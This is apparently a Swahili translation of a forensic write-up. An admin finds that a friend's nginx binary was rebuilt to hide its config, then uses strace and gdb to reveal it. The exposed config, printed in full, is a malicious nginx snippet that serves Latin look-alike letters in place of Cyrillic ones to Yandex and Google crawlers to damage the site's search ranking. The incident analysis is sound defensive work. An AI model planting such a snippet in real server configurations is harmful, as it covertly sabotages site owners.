Wakati 'a' si sawa na 'a'. Baada ya udukuzi

Hadithi isiyopendeza zaidi ilitokea kwa mmoja wa marafiki zangu. Lakini kama ilivyokuwa mbaya kwa Mikhail, ilinifurahisha vile vile.

Lazima niseme kwamba rafiki yangu ni mzuri UNIX-mtumiaji: anaweza kusakinisha mfumo mwenyewe mysql, php na ufanye mipangilio rahisi nginx.
Na ana tovuti kadhaa au moja na nusu zinazotolewa kwa zana za ujenzi.

Mojawapo ya tovuti hizi zinazojitolea kwa minyororo hukaa kwa uthabiti kwenye TOP ya injini za utafutaji. Tovuti hii si mkaguzi asiye wa kibiashara, lakini mtu fulani aliingia kwenye mazoea ya kuishambulia. Hiyo DDoS, kisha nguvu ya kinyama, kisha wanaandika maoni machafu na kutuma matusi kwa mwenyeji na kwa RKN.
Ghafla, kila kitu kilitulia na utulivu huu haukuwa mzuri, na tovuti ilianza kuondoka hatua kwa hatua kwenye mistari ya juu ya matokeo ya utafutaji.

Wakati 'a' si sawa na 'a'. Baada ya udukuzi

Hiyo ilikuwa msemo, basi hadithi ya msimamizi yenyewe.

Ilikuwa inakaribia wakati wa kulala wakati simu iliita: “San, si utaangalia seva yangu? Inaonekana kwangu kwamba nilidukuliwa, siwezi kuthibitisha, lakini hisia hazijaniacha kwa wiki ya tatu. Labda ni wakati tu wa mimi kupata matibabu ya paranoia?"

Kilichofuata ni mjadala wa nusu saa ambao unaweza kufupishwa kama ifuatavyo:

  • udongo wa hacking ulikuwa na rutuba kabisa;
  • mshambulizi anaweza kupata haki za mtumiaji mkuu;
  • shambulio (ikiwa lilifanyika) lililenga hasa kwenye tovuti hii;
  • maeneo ya shida yamerekebishwa na unahitaji tu kuelewa ikiwa kulikuwa na kupenya yoyote;
  • udukuzi haukuweza kuathiri msimbo wa tovuti na hifadhidata.

Kuhusu hatua ya mwisho.

Wakati 'a' si sawa na 'a'. Baada ya udukuzi

IP ya sehemu ya mbele pekee ndiyo inayoonekana kote ulimwenguni. Hakuna kubadilishana kati ya sehemu za nyuma na sehemu ya mbele isipokuwa http(s), watumiaji/nenosiri ni tofauti, hakuna funguo zilizobadilishwa. Kwenye anwani za kijivu, bandari zote isipokuwa 80/443 zimefungwa. IP za nyuma nyeupe zinajulikana tu kwa watumiaji wawili, ambao Mikhail anawaamini kabisa.

Imewekwa kwenye sehemu ya mbele Debian 9 na wakati simu inapigwa, mfumo unatengwa na ulimwengu na ngome ya nje na kusimamishwa.

"Ok, nipe ufikiaji," ninaamua kusimamisha usingizi kwa saa moja. "Nitaona kwa macho yangu."

Hapa na zaidi:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Inatafuta udukuzi unaowezekana

Ninaanza seva, kwanza ndani uokoaji-mode. Ninaweka diski na kuzipitia thibitisha-magogo, historia, magogo ya mfumo, n.k., ikiwezekana, ninaangalia tarehe za uundaji wa faili, ingawa ninaelewa kuwa mpako wa kawaida "angefagia" baada yake, na Misha alikuwa tayari "amekanyaga" sana wakati anajitafuta. .

Ninaanza kwa hali ya kawaida, bado sielewi nini cha kutafuta, ninasoma usanidi. Kwanza kabisa, ninavutiwa na nginx kwani, kwa ujumla, hakuna kitu kingine chochote kwenye sehemu ya mbele isipokuwa hiyo.
Mipangilio ni ndogo, imeundwa vizuri kuwa faili kadhaa, ninaziangalia tu paka'oh mmoja baada ya mwingine. Kila kitu kinaonekana kuwa safi, lakini huwezi kujua ikiwa nilikosa kitu ni pamoja na, wacha niorodheshe kamili:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Sikuelewa: "Orodha iko wapi?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Swali la pili linaongezwa kwa swali la kuorodhesha: "Kwa nini toleo la zamani la nginx?"

Kwa kuongeza, mfumo unaamini kuwa toleo la hivi karibuni limewekwa:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ninapiga simu:
- Misha, kwa nini ulikusanyika tena nginx?
- Subiri, sijui hata jinsi ya kufanya hivi!
- Sawa, nenda kulala ...

Nginx imejengwa upya kwa uwazi na matokeo ya uorodheshaji kwa kutumia "-T" yamefichwa kwa sababu. Hakuna mashaka tena juu ya utapeli na unaweza kuikubali tu na (kwa kuwa Misha alibadilisha seva na mpya hata hivyo) fikiria shida kutatuliwa.

Na kwa kweli, kwa kuwa mtu alipata haki mizizi‘ah, basi inaleta maana kufanya kusakinisha upya mfumo, na haikuwa na maana kutafuta kile ambacho kilikuwa kibaya huko, lakini wakati huu udadisi ulishinda usingizi. Je, tunawezaje kujua walichotaka kutuficha?

Hebu jaribu kufuatilia:

$ strace nginx -T

Tunaiangalia, kwa wazi hakuna mistari ya kutosha katika kuwaeleza a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Kwa kujifurahisha tu, wacha tulinganishe matokeo.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Nadhani sehemu ya kanuni /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ililetwa kwa fomu:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

au

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

kwa hivyo tangazo la "-T" halionyeshwi.

Lakini tunawezaje kuona usanidi wetu?

Ikiwa mawazo yangu ni sawa na shida iko kwenye kutofautisha tu ngx_dump_config hebu jaribu kusakinisha kwa kutumia gdb, kwa bahati nzuri kuna ufunguo --na-cc-opt -g kuwasilisha na kutumaini uboreshaji huo -O2 haitatuumiza. Wakati huo huo, kwa kuwa sijui jinsi gani ngx_dump_config inaweza kusindika ndani kesi 'T':, hatutaita kizuizi hiki, lakini kisakinishe kwa kutumia kesi 't':

Kwa nini unaweza kutumia '-t' na '-T'Zuia Usindikaji if(ngx_dump_config) hutokea ndani if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Kwa kweli, ikiwa nambari imebadilishwa katika sehemu hii na sio ndani kesi 'T':, basi njia yangu haitafanya kazi.

Jaribu nginx.confBaada ya kusuluhisha tatizo kwa majaribio, ilithibitishwa kuwa usanidi wa chini unahitajika ili programu hasidi ifanye kazi. nginx aina:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Tutatumia kwa ufupi katika makala.

Zindua kitatuzi

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Hatua:

  • weka sehemu ya kuvunja katika chaguo la kukokotoa kuu ()
  • kuzindua programu
  • badilisha thamani ya kutofautisha ambayo huamua matokeo ya usanidi ngx_dump_config=1
  • endelea/malizia programu

Kama tunaweza kuona, usanidi halisi hutofautiana na wetu, tunachagua kipande cha vimelea kutoka kwake:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Hebu tuangalie nini kinatokea hapa kwa utaratibu.

Imedhamiriwa Wakala wa Mtumiaji'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Kurasa za huduma hazijajumuishwa WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Na kwa wale wanaoanguka chini ya masharti yote mawili hapo juu

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

katika maandishi html- kurasa zinabadilika 'O' juu ya 'o' и 'A' juu ya 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Hiyo ni kweli, hila pekee ni hiyo 'a' != 'a' vile vile 'o' != 'o':

Wakati 'a' si sawa na 'a'. Baada ya udukuzi

Kwa hivyo, roboti za injini ya utaftaji hupokea, badala ya maandishi ya kawaida ya 100% ya Kicyrillic, takataka zilizobadilishwa diluted na Kilatini. 'a' и 'o'. Sithubutu kujadili jinsi hii inavyoathiri SEO, lakini hakuna uwezekano kwamba mkusanyiko wa herufi kama huo utakuwa na athari chanya kwenye nafasi katika matokeo ya utaftaji.

Ninaweza kusema nini, watu wenye mawazo.

marejeo

Kutatua kwa GDB
gdb (1) - ukurasa wa mtu wa Linux
strace(1) - ukurasa wa mtu wa Linux
Nginx - Moduli ngx_http_ndogo_moduli
Kuhusu saw, minyororo na saw umeme

Chanzo: mapenzi.com

Kuongeza maoni